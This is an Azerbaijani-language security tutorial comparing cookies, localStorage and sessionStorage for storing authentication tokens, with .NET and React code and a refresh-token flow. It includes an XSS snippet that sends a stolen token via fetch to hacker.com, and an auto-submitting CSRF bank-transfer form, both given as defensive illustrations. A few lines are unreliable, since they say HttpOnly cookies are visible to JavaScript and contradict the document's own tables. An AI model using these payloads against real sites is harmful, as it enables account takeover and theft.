

# Cookie, localStorage & sessionStorage

Nəzəri və Praktiki Bələdçi — Veb Saxlama Mexanizmləri

Təhlükəsizlik · Token Saxlama · Best Practices

Frontend Developers

Security Focused

2025

| 1.  | Giriş — Niyə saxlama lazımdır?      |
|-----|-------------------------------------|
| 2.  | Cookie                              |
| 3.  | localStorage                        |
| 4.  | sessionStorage                      |
| 5.  | Müqayisə cədvəli                    |
| 6.  | XSS hücumu — localStorage təhlikəsi |
| 7.  | CSRF hücumu — Cookie təhlikəsi      |
| 8.  | Niyə tokeni Cookie-də saxlayırıq?   |
| 9.  | HttpOnly + Secure + SameSite        |
| 10. | Refresh Token strategiyası          |
| 11. | Best Practices — Xülasə             |

# 1. Giriş — Niye saxlama lazımdır?

HTTP protokolu **stateless**-dir — yeni hər sorğu bir-birindən xəbərsizdir. Brauzer serverlə danışır, amma server seni tanımır. Bu problemi həll etmək üçün brauzer tərəfində data saxlamaq lazım gəlir.

Misal: Sən sayta daxil olursan (login). Server sənə token verir. Növbəti sorquda bu tokeni qaytarmasan, server sənin kim olduğunu bilmir. Buna görə tokeni brauzerdə saxlamalısan.

## 3 saxlama variantı var:

| Mexanizm       | Xüsusiyyəti                                                                  |
|----------------|------------------------------------------------------------------------------|
| Cookie         | Server və ya JavaScript tərəfindən yazılır, hər sorquda avtomatik göndərilir |
| localStorage   | JavaScript ilə yazılır, heç vaxt avtomatik göndərilmir, daimi saxlanır       |
| sessionStorage | JavaScript ilə yazılır, tab bağlandıqda silinir                              |

## 2. Cookie

Cookie — brauzer tərəfindən saxlanan kiçik mətn parçasıdır. Hər HTTP sorqusunda **avtomatik olaraq** server-ə göndərilir. Server cookie yarada bilər (Set-Cookie header), JavaScript da yarada bilər.

### Cookie necə yaranır?

```
// Server tərəfindən (Response header):  
Set-Cookie: refreshToken=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=604800  
  
// JavaScript tərəfindən:  
document.cookie = 'theme=dark; max-age=86400; path=/';
```

### Cookie atributları:

| Atribut  | Məna                                          |
|----------|-----------------------------------------------|
| HttpOnly | JavaScript ilə oxuna bilməz — XSS-dən qoruyur |
| Secure   | Yalnız HTTPS üzərindən göndərilir             |
| SameSite | Strict/Lax/None — CSRF-dən qoruyur            |
| Max-Age  | Neçə saniyə sonra silinir (0 = dərhal sil)    |
| Expires  | Konkret tarix — o tarixdən sonra silinir      |
| Path     | Yalnız hansı URL-lər üçün göndərilir          |
| Domain   | Hansı domain-lər üçün göndərilir              |

### Cookie növləri:

| Növ                | Xüsusiyyəti                                              |
|--------------------|----------------------------------------------------------|
| Session Cookie     | Max-Age/Expires yoxdur — tab bağlandıqda silinir         |
| Persistent Cookie  | Max-Age/Expires var — müddət bitənə qədər qalır          |
| HttpOnly Cookie    | Yalnız server oxuya bilər — ən təhlükəsiz                |
| Third-party Cookie | Başqa domain-dən gəlir — tracking üçün (artıq bloklanır) |

## 3. localStorage

localStorage — brauzerdə **daimi** olaraq saxlanan key-value deposudur. Tab bağlansa da, brauzer bağlansa da, komputer restart olsa da data qalır. Yalnız eyni origin (domain + port + protocol) daxilindən əlçatandır.

### İstifadəsi:

```
// Yazmaq
localStorage.setItem('theme', 'dark');
localStorage.setItem('language', 'az');

// Oxumaq
const theme = localStorage.getItem('theme'); // 'dark'

// Silmək
localStorage.removeItem('theme');

// Hamısını silmək
localStorage.clear();

// Neçə element var?
console.log(localStorage.length);
```

### Xüsusiyyətləri:

| Xüsusiyyət   | Dəyər                                      |
|--------------|--------------------------------------------|
| Həcm         | ~5-10 MB (Cookie-dən çox - 4KB)            |
| Müddət       | Daimi — silməsən qalır                     |
| Əlçatanlıq   | Yalnız eyni origin-dən JavaScript ilə      |
| Avtogonderme | Xeyr — sorqularda göndərilmir              |
| Tab paylaşma | Bəli — eyni origin-in bütün tab-ları görür |

### Nə üçün istifadə edilir?

- İstifadəçi tərcihləri — tema, dil, font ölçüsü
- Form data cache — uzun formaları müvəqqəti saxlamaq
- Tez-tez dəyişməyən API cavablarını cache etmək

- Offline mode üçün data saxlamaq

VACIB: localStorage-da heç vaxt token, şifrə, kart nömrəsi kimi həssas data saxlama!  
JavaScript ilə asanlıqla oxunur — XSS hücumunda bütün data oğurlanır.

## 4. sessionStorage

sessionStorage — localStorage ilə eyni API-ya malikdir, amma data yalnız **tab açıq olduqca** saxlanır. Tab bağlandıqda bütün data avtomatik silinir. Hətta eyni saytın başqa tab-ı sessionStorage-ı görə bilməz.

### İstifadəsi:

```
// localStorage ilə eyni API:  
sessionStorage.setItem('step', '2');  
const step = sessionStorage.getItem('step');  
sessionStorage.removeItem('step');  
sessionStorage.clear();
```

### localStorage ilə fərqi:

| Xüsusiyyət    | sessionStorage          | localStorage            |
|---------------|-------------------------|-------------------------|
| Müddət        | Tab bağlanana qədər     | Daimi                   |
| Tab paylaşma  | Xeyr — hər tab ayrıdır  | Bəli — hamı görür       |
| İstifadə yeri | Müvəqqəti proses datası | Uzunmüddətli təcrübələr |

### Nə üçün istifadə edilir?

- Çoxaddımlı formalar — wizard step-ləri saxlamaq
- Ödəniş prosesi — tab bağlandıqda data silinsin
- Müvəqqəti filter/axtarış vəziyyəti
- Tab-a xüsusi state — paralel tab-lar bir-birinə təsir etməsin

## 5. Muqayise Cedveli

| Xüsusiyyət         | Cookie                   | localStorage             | sessionStorage           |
|--------------------|--------------------------|--------------------------|--------------------------|
| Həcm               | ~4 KB                    | ~5-10 MB                 | ~5-10 MB                 |
| Müddət             | Max-Age/Expires-ə görə   | Daimi                    | Tab bağlanana qədər      |
| Avtomatik göndərme | Bəli — hər sorquda       | Xeyr                     | Xeyr                     |
| JavaScript erişimi | Yalnız HttpOnly deyilsə  | Bəli — həmişə            | Bəli — həmişə            |
| Server erişimi     | Bəli — hər sorquda gelir | Xeyr — manual göndərməli | Xeyr — manual göndərməli |
| XSS riski          | HttpOnly ilə qorunur     | Yüksək risk              | Yüksək risk              |
| CSRF riski         | SameSite ilə azaldılır   | Yoxdur                   | Yoxdur                   |
| Tab paylaşma       | Bəli                     | Bəli                     | Xeyr                     |
| Token saxlama      | Tövsiyə edilir           | Tövsiyə edilmir          | Tövsiyə edilmir          |

## 6. XSS Hücümü — localStorage Tehlikesi

**XSS (Cross-Site Scripting)** — təcavüzkar sayta zərərli JavaScript kodu yeridərsə, həmin kod localStorage-dakı bütün datanı oxuya bilər.

### Hücum necə işləyir:

```
// 1. İstifadəçi tokeni localStorage-a yazır:  
localStorage.setItem('accessToken', 'eyJhbGciOi...');  
  
// 2. Sayt XSS-ə qarşı qorunmayıbsa, təcavüzkar belə kod yeridirsə:  
<script>  
  const token = localStorage.getItem('accessToken');  
  fetch('https://hacker.com/steal?token=' + token);  
</script>  
  
// 3. Token oğurlandı – hesab ələ keçirildi!
```

### Niyə HttpOnly Cookie qoruyur?

```
// HttpOnly Cookie-yi JavaScript heç cür oxuya bilmir:  
document.cookie // HttpOnly cookie-lər burda görünür!  
  
// Yəni XSS olsa belə, token oğurlana bilmir  
// Çünki JavaScript ona çata bilmir
```

Qayda: Əgər token localStorage-dadırsa, XSS hücumu = token oğurlanır. Əgər token HttpOnly Cookie-dədirsə, XSS hücumu = token görünür.



## 7. CSRF Hucumu — Cookie Tehlikesi

**CSRF (Cross-Site Request Forgery)** — təcavüzkar başqa bir saytdan brauzerini istifadə edərək sənin adınla sorğu göndərir. Cookie avtomatik göndərildiyindən server bunu sənin sorqun kimi qəbul edir.

### Hücum necə işləyir:

```
// 1. İstifadəçi bank.com-a daxil olub – cookie var

// 2. Hacker saytına gedir, orada bu HTML var:
<form action='https://bank.com/transfer' method='POST'>
  <input name='amount' value='5000' />
  <input name='to' value='hacker_account' />
</form>
<script>document.forms[0].submit()</script>

// 3. Brauzer bank.com-a avtomatik Cookie göndərir
// 4. Bank server bunu legitim sorğu kimi qəbul edir!
```

### SameSite ilə müdafiə:

| SameSite Dəyəri | Davranış                                                          |
|-----------------|-------------------------------------------------------------------|
| Strict          | Yalnız eyni saytdan gələn sorqularda cookie göndərilir — ən güclü |
| Lax             | GET sorqularında göndərilir, POST/iframe-də göndərilmir — balans  |
| None            | Hər yerdən göndərilir — Secure atributu məcburidir                |

Qayda: Cookie CSRF-ə açıqdır, amma SameSite=Strict/Lax ilə demək olar ki tam qorunur. localStorage CSRF-ə qarşı immunitetlidir — çünki avtomatik göndərilmir.

## 8. Niye Tokeni Cookie-de Saxlayiriq?

### Müqayisəli analiz:

| Ssenari            | HttpOnly Cookie           | localStorage                      |
|--------------------|---------------------------|-----------------------------------|
| XSS hücumu olsa    | Token görünmür (HttpOnly) | Token oğurlanır                   |
| CSRF hücumu olsa   | SameSite ilə qorunur      | Risk yoxdur (avtogöndərilmir)     |
| JavaScript erişimi | Yox (HttpOnly)            | Var — hər skript oxuya bilər      |
| Avtogöndərmə       | Bəli — rahat              | Xeyr — hər sorquda əl ilə         |
| Server oxuması     | Bəli — avtomatik gəlir    | Xeyr — Authorization header lazım |

### Qərar:

Token saxlamaq üçün HttpOnly Cookie ən təhlükəsiz seçimdir. Çünki XSS hücumunda JavaScript token-i görə bilmir. localStorage isə JavaScript üçün tam açıqdır — hər hansı XSS kodu tokeni oxuya bilər.

### Bəs SPA (React/Angular/Vue) layihələrdə?

SPA-larda çox vaxt localStorage seçilir, çünki daha sadədir. Amma bu **təhlükəsiz deyil**. Düzgün yanaşma:

- **Access Token** — memory-də saxla (React state, Redux)
- **Refresh Token** — HttpOnly Cookie-də saxla
- Tab bağlandıqda access token silinir, refresh token ilə yenilənir

## 9. HttpOnly + Secure + SameSite

Bu üç atribut birlikdə tokeni qorumaq üçün **minimum standart**dır. Birini belə atsan, güvenlik boşluğu yaranır.

### .NET-də cookie yaratmaq:

```
// .NET Backend – cookie set etmək:
Response.Cookies.Append("refreshToken", refreshToken, new CookieOptions
{
    HttpOnly = true,      // JavaScript oxuya bilmesin
    Secure    = true,      // Yalnız HTTPS
    SameSite = SameSiteMode.Strict, // CSRF qoruması
    Expires   = DateTime.UtcNow.AddDays(7),
    Path      = "/api/auth" // Yalnız bu path-da göndərilsin
});
```

### Cookie oxumaq (.NET):

```
// Controller-də cookie-dən refresh token oxumaq:
var refreshToken = Request.Cookies["refreshToken"];

if (string.IsNullOrEmpty(refreshToken))
    return Unauthorized();

var result = await _authService.RefreshAsync(refreshToken);
return Ok(result);
```

### Cookie silmek (logout):

```
// Logout – cookie-yi sil:
Response.Cookies.Delete("refreshToken", new CookieOptions
{
    HttpOnly = true,
    Secure    = true,
    SameSite = SameSiteMode.Strict,
    Path      = "/api/auth"
});
```

## 10. Refresh Token Strategiyasi

### Tam ariş:

1. LOGIN:  
POST /api/auth/login { email, password }  
← Response: { accessToken: 'eyJ...' }  
← Set-Cookie: refreshToken=eyJ...; HttpOnly; Secure; SameSite=Strict
2. API SORĞUSU:  
GET /api/users  
Authorization: Bearer eyJ... (accessToken – memory-dən)  
Cookie: refreshToken=eyJ... (avtomatik göndərilir)
3. ACCESS TOKEN BİTDİ (401):  
POST /api/auth/refresh  
Cookie: refreshToken=eyJ... (avtomatik göndərilir, body-de heç ne yoxdur)  
← Response: { accessToken: 'yeni\_eyJ...' }  
← Set-Cookie: refreshToken=yeni\_eyJ... (köhnəsi əvəz edilir)
4. LOGOUT:  
POST /api/auth/logout  
← Set-Cookie: refreshToken=; Max-Age=0 (silinir)

### Frontend (React) tərəfi:

```
// accessToken yalnız memory-de (state-de) saxlanir:
const [accessToken, setAccessToken] = useState(null);

// Login:
const login = async (email, password) => {
  const res = await fetch('/api/auth/login', {
    method: 'POST',
    credentials: 'include', // Cookie-ni qəbul et
    body: JSON.stringify({ email, password })
  });
  const data = await res.json();
  setAccessToken(data.accessToken); // memory-de saxla
};

// API sorgusu:
const apiCall = async () => {
  const res = await fetch('/api/users', {
    credentials: 'include', // Cookie avtomatik gedir
    headers: { Authorization: `Bearer ${accessToken}` }
  });
};

// Token bitti, yenile:
const refresh = async () => {
  const res = await fetch('/api/auth/refresh', {
    method: 'POST',
    credentials: 'include' // refreshToken Cookie avtomatik gedir
  });
  const data = await res.json();
  setAccessToken(data.accessToken);
};
```

## 11. Best Practices — Xulase

### Token saxlama:

| Data               | Harada saxla               | Səbəb                                      |
|--------------------|----------------------------|--------------------------------------------|
| Access Token       | Memory (React state/Redux) | Tab bağlandıqda silinir, XSS-ə yaxın deyil |
| Refresh Token      | HttpOnly Cookie            | JavaScript görə bilmir — ən güvənli        |
| İstifadəçi tercihi | localStorage               | Tema, dil — həssas deyil, token deyil      |
| Müvəqqəti data     | sessionStorage             | Wizard step, ödəniş prosesi                |

### Cookie atributları — heç vaxt atma:

- **HttpOnly** — həmişə aktivdir, token cookie-lərində
- **Secure** — production-da həmişə aktiv (HTTPS)
- **SameSite=Strict** — mümkünə Strict, olmasa Lax
- **Path=/api/auth** — yalnız lazım olan endpoint-ə göndər
- **Max-Age** — müddət həmişə məhdud olsun

### Ümumi qaydalar:

- localStorage-a heç vaxt JWT, şifrə, kart məlumatı yazma
- credentials: 'include' — cross-origin sorqularda cookie göndərmək ucun
- CORS-da AllowCredentials() aktiv olmalıdır cookie işləsin deyə
- Logout-da cookie-yi silmək yetərli deyil — server tərəfdə token-i da invalidate et
- HTTPS olmadan Secure cookie işləmir — local-da SameSite=None işlət

Qisal xulase: localStorage = Sürətli amma riskli. Token saxlama! sessionStorage = Tab ömürlü, müvəqqəti data ucun. HttpOnly Cookie = Ən güvənli token saxlama yolu.